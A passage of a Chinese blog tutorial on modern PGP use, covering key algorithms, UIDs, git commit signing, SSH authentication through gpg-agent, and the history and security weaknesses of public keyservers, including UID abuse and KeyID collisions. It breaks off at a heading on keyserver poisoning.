&lt;p&gt;其中美国国家标准与技术研究院（NIST）系列椭圆曲线、Brainpool系列椭圆曲线、secp256k1都存在不同的安全风险，不建议使用。&lt;&#x2F;p&gt;
&lt;p&gt;可以发现这里少了（2）, 其实这里还有一些隐藏算法没有列出，可通过如下命令查看&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --list-config --with-colons curve

## 输出
cfg:curve:   cv25519;ed25519;nistp256;nistp384;nistp521;brainpoolP256r1;brainpoolP384r1;brainpoolP512r1;secp256k1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面缺少的(2)对应的就是ed25519 ，是一种签名算法，你选择 （1）时， 主密钥用来签发和签名 用的就是ed25519，自动生成的用来加密的子密钥 算法 是cv25519 。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;rsa-vs-ecc&quot;&gt;RSA VS ECC&lt;&#x2F;h6&gt;
&lt;p&gt;ECC算法比RSA的优势在于，在&lt;strong&gt;同等强度&lt;&#x2F;strong&gt;下，ECC的密钥长度要小的多，性能也会好一些。 RSA算法的PGP私钥 通过paperkey精简过后一般还会有50+行HEX数据，如果使用的是ECC算法生成的话， 可以减到8行以内，手抄完全没问题。&lt;&#x2F;p&gt;
&lt;p&gt;RSA算法的优势在于大部分硬件设备的兼容性比较好，比如 YubiKey 5 支持 RSA 4096，但不支持 Curve 25519。而且多数设备都对RSA算法提供了硬件加速。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;PS&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;查阅资料时发现 ，中文博客里被很多人抄来抄去的一句话：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;ed25519 加密解密很快，生成时间短而且安全性更高，rsa 则加密解密稍慢，生成时间长，安全性没有 ed25519 高，只是 rsa 基本都是默认，所以用的人更多，但是建议转换为 ed25519, 网站软件现在基本都支持了.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这句话是 &lt;strong&gt;错的&lt;&#x2F;strong&gt;， ed25519是 EdDSA 算法的一种，只是一种签名算法， EdDSA 全称&lt;strong&gt;Edwards-curve Digital Signature Algorithm&lt;&#x2F;strong&gt;，爱德华椭圆曲线实现的数字签名算法。&lt;&#x2F;p&gt;
&lt;p&gt;上面的话多出现在替换SSH默认的RSA算法为ed25519的文章中出现。其实SSH协议中的非对称算法 并不是用来加解密信息的，而只是用来认证，正确的说法是ed25519签名和认证的速度很快。&lt;&#x2F;p&gt;
&lt;p&gt;再者， 不提密钥长度说安全性都是耍流氓 ，RSA 4096 的安全强度是要 好于 ed25519 的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhui-jia-uid&quot;&gt;追加UID&lt;&#x2F;h4&gt;
&lt;p&gt;uid 即 user id ， 由三个部分组成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;全名（现在的话网名即可）&lt;&#x2F;li&gt;
&lt;li&gt;注释（用 ( ) 包括）&lt;&#x2F;li&gt;
&lt;li&gt;邮箱地址（用 &amp;lt; &amp;gt; 包括）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;UID的性质：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个密钥可以有多个 uid，方便不同场合使用。&lt;&#x2F;li&gt;
&lt;li&gt;uid 与哪个子密钥无关，uid 是作用于整个密钥的。&lt;&#x2F;li&gt;
&lt;li&gt;uid 可以随时添加，但已有的 uid 不能修改，只能单独吊销。&lt;&#x2F;li&gt;
&lt;li&gt;uid 单独吊销后，只需要重新发布公钥即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一般来说，操作UID只有主密钥有权限操作， 后面会提到UID可以是伪造，然后提交到服务器的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --edit-key {keyid&amp;#x2F;uid}

gpg&amp;gt; adduid     # 进入交互界面后 输入  help  可以查看支持的操作

## 输入你要追加的信息

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用UID的场景有哪些呢？ 如果你使用一个不常用的邮箱作为你的github&#x2F;gitlab账号，你主要的邮箱生成的PGP 密钥就不能用来签名了。&lt;&#x2F;p&gt;
&lt;p&gt;这时候为了保护隐私 且 只要管理一个密钥，就可以 在 Github设置里把 Keep my email addresses private勾上，将为你生成的随机邮箱添加到 uid中， 这样就只需要管理一个PGP密钥，可以同时为你不同的Git账号签名。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tian-jia-tou-xiang&quot;&gt;添加头像&lt;&#x2F;h4&gt;
&lt;p&gt;跟添加UID差不多，  在gpg交互 界面 输入 &lt;code&gt;addphoto &lt;&#x2F;code&gt;就可以， 想要查看的话 输入&lt;code&gt;showphoto&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-pgpwei-git-commit-qian-ming&quot;&gt;使用PGP为git commit 签名&lt;&#x2F;h4&gt;
&lt;p&gt;只要你PGP的uid包含 git config 中的邮箱， 使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;git commit -S -m your commit message &lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;即可签名。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-pgp-jin-xing-ssh&quot;&gt;使用PGP 进行SSH&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;sheng-cheng-ren-zheng-a-yong-zi-mi-yao&quot;&gt;生成 认证（A）用子密钥&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --expert --edit-key {keyid&amp;#x2F;uid}                                   ## 使用专家模式, 不然没有认证的选项

gpg&amp;gt; addkey
Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
  (10) ECC (sign only)
  (11) ECC (set your own capabilities)
  (12) ECC (encrypt only)
  (13) Existing key
Your selection? 8                                                   ## 选8, RSA, 自定义权限

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Sign Encrypt                               ## 这里显示默认有Sign和Encrypt两种权限

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? S                                                   ## 关闭Sign

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Encrypt

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? E                                                   ## 关闭Encrypt

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions:

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? A                                                   ## 开启Authenticate

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Authenticate

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? Q                                                    ## 退出
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      &amp;lt;n&amp;gt;  = key expires in n days
      &amp;lt;n&amp;gt;w = key expires in n weeks
      &amp;lt;n&amp;gt;m = key expires in n months
      &amp;lt;n&amp;gt;y = key expires in n years
Key is valid for? (0) 1y                                             ## 有效期
Key expires at Tue Jan  7 11:33:54 2020 CST
Is this correct? (y&amp;#x2F;N) y
Really create? (y&amp;#x2F;N) y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

sec  rsa2048&amp;#x2F;7DEFA5351BCE3C55
     created: 2019-01-07  expires: 2021-01-06  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa2048&amp;#x2F;2FCE923F8ECB63F6
     created: 2019-01-07  expires: 2021-01-06  usage: E
ssb  rsa4096&amp;#x2F;19D32A8839DCAA1F
     created: 2019-01-07  expires: 2020-01-07  usage: A
[ultimate] (1). hhhhh &amp;lt;h@mail.com&amp;gt;

gpg&amp;gt; save                                                            ## 保存

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;pei-zhi-wen-jian&quot;&gt;配置文件&lt;&#x2F;h5&gt;
&lt;p&gt;编辑&lt;code&gt;bashrc&lt;&#x2F;code&gt; 文件，  将默认ssh 的agent替换为 gpg-agnet&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;##  ~&amp;#x2F;.bashrc

export GPG_TTY=$(tty)
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
echo UPDATESTARTUPTTY | gpg-connect-agent 1&amp;gt; &amp;#x2F;dev&amp;#x2F;null

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑&lt;code&gt;~&#x2F;.gnupg&#x2F;gpg-agent.conf&lt;&#x2F;code&gt;文件,增加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;##  ~&amp;#x2F;.gnupg&amp;#x2F;gpg-agent.conf

enable-ssh-support
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;❯ gpg -k --with-keygrip
&amp;#x2F;Users&amp;#x2F;root&amp;#x2F;.gnupg&amp;#x2F;pubring.kbx
-----------------------------
pub   rsa2048 2019-01-07 [SC] [expires: 2021-01-06]
      8A9FC025A44AA4824C1F4AE27DEFA5351BCE3C55
      Keygrip = BEFCCDFE36CC5442B888B8459265C68B60A4ABD2
uid           [ultimate] hhhhh &amp;lt;h@mail.com&amp;gt;
sub   rsa2048&amp;#x2F;0xF681DAEBBAB82124 2019-01-07 [E] [expires: 2021-01-06]
      Keygrip = 422922ACFD099E79863D93B93333528F225C90FC
sub   rsa2048&amp;#x2F;0x501DEDC36BD409C8 2019-01-07 [A] [expires: 2020-01-07]
      Keygrip = 999A87A51CFE82DAA494BEB42F585051307F9E33
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;选择你新加的带有[A]标志的那个新的子密钥的 keygrip , 即&lt;code&gt;999A87A51CFE82DAA494BEB42F585051307F9E33&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加入到&lt;code&gt;~&#x2F;.gnupg&#x2F;sshcontrol&lt;&#x2F;code&gt;文件，   运行&lt;code&gt;ssh-add -l&lt;&#x2F;code&gt;, 查看是否已经加入。&lt;&#x2F;p&gt;
&lt;p&gt;然后&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --export-ssh-key   {keyid}!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，这里不能用 uid ,不然会提示:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg: key &amp;quot;uid&amp;quot; not found: Unusable public key
gpg: export as ssh key failed: Unusable public key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里只能填子密钥的 key id,这个例子里就是 &lt;code&gt;0x501DEDC36BD409C8&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;输出的 ssh public key 放到你的服务器上的&lt;code&gt;~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;中， 重启shell, 就可以连接了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2021nian-yong-geng-xian-dai-de-fang-fa-shi-yong-pgp-xia&quot;&gt;2021年，用更现代的方法使用PGP（下）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gong-yao-de-fa-bu-yu-jiao-huan&quot;&gt;公钥的发布与交换&lt;&#x2F;h3&gt;
&lt;p&gt;Posted by UlyC on January 26, 2021&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;世界上有两种密码:一种是防止你的小妹妹偷看你的文件;另一种是防止当局阅读你的文件.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  																										—— Bruce Schneier《应用密码学》
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2021nian-yong-geng-xian-dai-de-fang-fa-shi-yong-pgp-xia-1&quot;&gt;2021年，用更现代的方法使用PGP（下）&lt;&#x2F;h3&gt;
&lt;h5 id=&quot;shang-pian-lian-jie-1&quot;&gt;上篇链接:&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;13&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%8A&#x2F;&quot;&gt;2021年，用更现代的方法使用PGP（上）&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;18&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%AD&#x2F;&quot;&gt;2021年，用更现代的方法使用PGP（中）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pgp-gong-yao-de-fa-bu-yu-jiao-huan&quot;&gt;PGP 公钥的 发布 与 交换&lt;&#x2F;h3&gt;
&lt;p&gt;讨论公钥安全交换的中文文章比较少，而这一环是整个加密体系的重中之重。 大部分的PGP教程最后一步就是让小白用户将公钥上传，这是非常过时，且不负责任的，所以这里来详细介绍下PGP 公钥的 发布 与 交换。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-ze&quot;&gt;原则&lt;&#x2F;h3&gt;
&lt;p&gt;首先明确一点： 上传公钥到 公钥服务器 &lt;strong&gt;不是&lt;&#x2F;strong&gt;必要的，甚至是&lt;strong&gt;危险&lt;&#x2F;strong&gt;的。&lt;&#x2F;p&gt;
&lt;p&gt;如果你是新手，请不要发布你的公钥到 公钥服务器。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yin-zi&quot;&gt;引子&lt;&#x2F;h3&gt;
&lt;p&gt;通过前文，你已经熟悉了gpg的本地使用， 并且生成了自己的PGP 密钥对。&lt;&#x2F;p&gt;
&lt;p&gt;想象一下， 如果你生活在1980年代， 想和远方的朋友加密通信，需要先交换彼此的公钥，又没有一个统一的可信的认证机构，这时会有什么问题？&lt;&#x2F;p&gt;
&lt;p&gt;当面交换吗？当然是个办法，但是相信你不会想要将下列&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;pgp-public-key-fingerprint.png&quot; alt=&quot;1609751914957&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这么长的公钥抄写到纸上，然后开车送到朋友那里，再让朋友照着这个输入他的电脑。如果中间有变动，需要重复以上过程n次。&lt;&#x2F;p&gt;
&lt;p&gt;那么还有其他办法吗？&lt;&#x2F;p&gt;
&lt;p&gt;那个时代还没有line、wechat这类即时通讯软件，而邮件提供商默认是不可靠的，不然也不会有PGP的诞生。 并且彼时https还未出现，用邮件交换PGP交换公钥显然不太安全。&lt;&#x2F;p&gt;
&lt;p&gt;你们双方都需要便捷地交换公玥， 并且确认彼此得到的公钥确实是未经篡改过的，真实有效的，就成了一个难题，这样，公钥服务器也就呼之欲出了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gong-yao-fu-wu-qi-keyserver&quot;&gt;公钥服务器 KeyServer&lt;&#x2F;h3&gt;
&lt;p&gt;公钥服务器使得人们只需要交换他们短短的key id 或者user id就可以方便地从公钥服务器下载公钥。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;li-shi-yu-she-ji-chu-zhong&quot;&gt;历史与设计初衷&lt;&#x2F;h4&gt;
&lt;p&gt;第一个KeyServer  叫做 HKP（ web-based OpenPGP HTTP Keyserver Protocol） Keyserver ，  诞生在上世纪90年代，是Marc Horowitz在麻省理工学习时为了他的论文而搭建的。在此之前， 虽然不是那么安全， 但是大部分人依靠电子邮件来交换公钥。&lt;&#x2F;p&gt;
&lt;p&gt;虽然服务器有了， 但开发者们担心政府会试图强迫密钥服务器运营商用政府选择的各种证书来替换证书。&lt;&#x2F;p&gt;
&lt;p&gt;所以他们做出了一个决定：公钥服务器永远不会删除信息。公钥服务器可以为现有的证书添加信息（比如可以revoke&#x2F;sign或者调整expire时间），但永远永远永远不会删除证书或证书的信息。&lt;&#x2F;p&gt;
&lt;p&gt;为了达到这个目标，他们开始运行一个&lt;strong&gt;分布式&lt;&#x2F;strong&gt;的国际公钥服务器网络，这就是现在的KeyServer。世界各地的公钥服务器会定期相互通信，同步，比较目录。如果政府强迫公钥服务器运营商删除或修改证书，那么在比较步骤中就会被发现。残缺的公钥服务器会用完好密钥服务器目录中的内容更新自己。&lt;&#x2F;p&gt;
&lt;p&gt;任何东西都不会被删除，听起来很美好，也是解决政府审查问题的一个简单而有效的办法，可是正是这个原则后来给KeyServer带来了无穷无尽的问题。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xin-ren-wang-luo-web-of-trust&quot;&gt;信任网络 (Web of Trust)&lt;&#x2F;h4&gt;
&lt;p&gt;好了，现在我们有了一个可以方便地上传和下载公钥的地方， 这样是不是就万事大吉了呢？&lt;&#x2F;p&gt;
&lt;p&gt;对于KeyServer 来说，任何人都可以上传公钥并声称自己是Linus, 是Zuckerberg,或是任何其他人，而KeyServer并不会去验证你是否是你所声称的人（因为KeyServer本来就没有一个中心化的运营者）。&lt;&#x2F;p&gt;
&lt;p&gt;如果你有一些密码学的基础， 那么就会知道， PGP协议依靠的非对称加密算法， 最脆弱的点就在于公钥的交换这一步。公钥交换时最容易收到中间人攻击，你一定要确定你接收到的公钥确实是你想交流的人的，由此TSL引入了CA证书认证体系，由一个可信的权威第三方来认证并颁发证书来解决身份的认证问题。 （具体可参见https系列&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2018&#x2F;09&#x2F;21&#x2F;%E6%B2%A1%E9%82%A3%E4%B9%88%E6%B5%85%E5%9C%B0%E8%B0%88%E8%B0%88HTTP%E4%B8%8EHTTPS-%E4%BA%8C.html&quot;&gt;没那么浅地谈谈HTTP与HTTPS&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;“信任一个权威的第三方” 对于最初的极具有hack精神的开发者们来说， 显然是无法接受的。&lt;&#x2F;p&gt;
&lt;p&gt;当然，你可以说下载公钥后，通过电话等手段验证下公钥的指纹（fingerprint），就可以确认正确与否。 但是想象一下， 如果你在公钥服务器找到一个声称自己Linus Torvalds 的人, 你并没有他的其他联系方式，将永远无法确定这个公钥持有者到底是谁、这个公钥可信与否 ， 这样无疑是低效的，并且使整个系统沦为了熟人之间的小网络。&lt;&#x2F;p&gt;
&lt;p&gt;要知道，根据六度分隔理论（Six Degrees of Separation），世界上任何互不相识的两人，平均通过六个人就可以产生联系。 那么可以不可以这么思考， 假设我和小A见过面并检查过他的公钥，因而知道小A的公钥的的确确属于他本人，我选择信任小A。而小A同样验证了小B的证书并为小B的证书签名背书——小A的证书的持有人在此证明该证书是真实属于小B。那么我无须见亲见小B本人，也可以通过小A的背书而接受小B的证书。&lt;&#x2F;p&gt;
&lt;p&gt;如此循环下去，就形成了一张网， 这就是信任网络。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhu-liu-gong-yao-fu-wu-qi&quot;&gt;主流公钥服务器&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;1-sks-keyserver-pool&quot;&gt;1.   &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;sks-keyservers.net&#x2F;&quot;&gt;SKS Keyserver Pool&lt;&#x2F;a&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;当今世界最大的Key Server 池， 符合它的标准的世界各地的公钥服务器会定期相互通信，同步，比较目录，数据完全开放下载。 现在一般说起KeyServer说的就是这个。&lt;&#x2F;p&gt;
&lt;p&gt;KeyServer虽然一直是PGP的重要基础设置 ,但SKS Keyserver Pool 其实目前只有不到20台服务器，GnuPG默认用的服务器是其中的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hkps.pool.sks-keyservers.net&#x2F;&quot;&gt;HKPS pool&lt;&#x2F;a&gt;,只有四台服务器。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-base-modern-software-keyserver&quot;&gt;2. Base  Modern Software KeyServer&lt;&#x2F;h5&gt;
&lt;p&gt;有一些KeyServer 没有用SKS的软件，运行的是更下现代和稳定的软件，比较有代表性的是 &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;keyserver.ubuntu.com&#x2F;&quot;&gt;Ubuntu keyserver&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;,  基于Hockeypuck ， 这些服务器仍然会和SKS pool保持同步。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-du-li-keyserver&quot;&gt;3.  独立KeyServer&lt;&#x2F;h5&gt;
&lt;p&gt;这些服务器不与SKS pool同步数据，由中心化的运营者运行， 会对公钥上传者做一定的认证， 并且支持删除自己的公钥。&lt;&#x2F;p&gt;
&lt;p&gt;比较有代表性的有， &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;keys.openpgp.org&#x2F;&quot;&gt;keys.openpgp.org&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; ，KeyBase等等。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zai-gpgzhong-shi-yong&quot;&gt;在gpg中使用&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;fa-bu&quot;&gt;发布&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg   --send-keys  {keyid&amp;#x2F;uid}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;xia-zai&quot;&gt;下载&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --recv-keys {keyid&amp;#x2F;uid}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时有可能报错&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg: &amp;quot;xxxxxr&amp;quot; not a key ID: skipping
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时换个KeyServer就行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg  --keyserver hkps:&amp;#x2F;&amp;#x2F;keyserver.ubuntu.com --recv-keys {keyid&amp;#x2F;uid}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;qian-ming-he-yan-zheng-ta-ren-gong-yao&quot;&gt;签名和验证 他人公钥&lt;&#x2F;h5&gt;
&lt;p&gt;验证公钥真实性 依靠多渠道确认的 公钥指纹。&lt;&#x2F;p&gt;
&lt;p&gt;一般来说为别人的公钥签名后，需要发还给他，或者发到公钥服务器(最好经过本人同意)。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;gpg --sign-key  {keyid&amp;#x2F;uid}   # 为已经导入的 他人钥签名， 你为他签名，意味着你将为他的身份真实性背书，请谨慎
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;gao-ji-she-zhi&quot;&gt;高级设置&lt;&#x2F;h5&gt;
&lt;p&gt;因为并不推荐大家使用KeyServer，所以这里只列举了基础操作。&lt;&#x2F;p&gt;
&lt;p&gt;如果你决定使用KeyServer的话，可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nova.moe&#x2F;openpgp-best-practices-keyserver-and-configuration&#x2F;&quot;&gt;OpenPGP 最佳实践 - 密钥服务器&lt;&#x2F;a&gt;设置你的客户端与服务器通信使用 HKPS (HKP On SSL)协议， 并定期更新从服务器下载的公钥。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-quan-feng-xian-he-zheng-yi-bei-wan-pi-de-keyserver&quot;&gt;安全风险和争议， 被玩坏的KeyServer&lt;&#x2F;h4&gt;
&lt;p&gt;在20世纪90年代初，开发者们怀着对技术的信心和人性的希望，期望创建一个友善 、纯粹、没有审查的净土， 在当时背景下，KeyServer不能删除任何已上传的东西，听起来是美好的，设计似乎是合理的。&lt;&#x2F;p&gt;
&lt;p&gt;但是事实是，网络匿名环境中充满了不那么友好的， 甚至是恶意的使用者，在当今看来 ，KeyServer这个系统并不健壮，问题重重，许多问题已经被发现十多年，而且无望解决。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;lan-yong&quot;&gt;滥用&lt;&#x2F;h5&gt;
&lt;p&gt;按照官方推荐， UID （User ID） 是用来存储用户信息的，应该在里面填上你的名字和邮箱，一个 GPG 帐号下可以有若干个 UID。&lt;&#x2F;p&gt;
&lt;p&gt;而其实这个UID是没有任何强制限制的，也就是说你可以在UID中放入任何东西，可以是小说片段，可以是磁力链接,可是以编码后的图像、音频或视频……&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;pgp-keyserver-uid-abuse.png&quot; alt=&quot;1609913349212&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当上传到KeyServer时, UID限制了2k的字符 . 以至于有人写了个用KeyServer&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yakamok&#x2F;keyserver-fs&quot;&gt;存文件的项目keyserver-fs)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;再次想象一下，你往网盘传了一个文件，共享给其他人，全世界的人都可以往这个网盘文件中添加文件，而且永远无法删除，情况会变得有多糟糕。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;cui-ruo-de-keyid&quot;&gt;脆弱的KeyID&lt;&#x2F;h5&gt;
&lt;p&gt;见过一些生成 PGP“靓号”的工具，就是指定你喜欢的ID规则，工具会暴力生成PGP密钥， 从中返回给你想要的密钥。&lt;&#x2F;p&gt;
&lt;p&gt;由此很容易想到，若攻击者知道了目标的KeyID， 完全可以通过工具来生成完全一样的KeyID（这就是碰撞）, 并上传到KeyServer，来冒充目标。&lt;&#x2F;p&gt;
&lt;p&gt;而伪造一个KeyID有多容易呢，有研究人员借助&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lachesis&#x2F;scallion&quot;&gt;scallion&lt;&#x2F;a&gt;程序，使用了普通的GPU（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.geforce.com&#x2F;hardware&quot;&gt;Nvidia GeForce GTX&lt;&#x2F;a&gt;）进行碰撞，花了4秒的时间就生成了一个指定的32 bit的 KeyID。&lt;&#x2F;p&gt;
&lt;p&gt;官方推荐公布自己的KeyID时，最少应该公布64 bit（也就是长16位16进制数啦 ），但是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;thread.gmane.org&#x2F;gmane.ietf.openpgp&#x2F;7413&quot;&gt;研究&lt;&#x2F;a&gt;表明64 bit的KeyID也是可以 被碰撞的。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;tou-du&quot;&gt;投毒&lt;&#x2F;h5&gt;
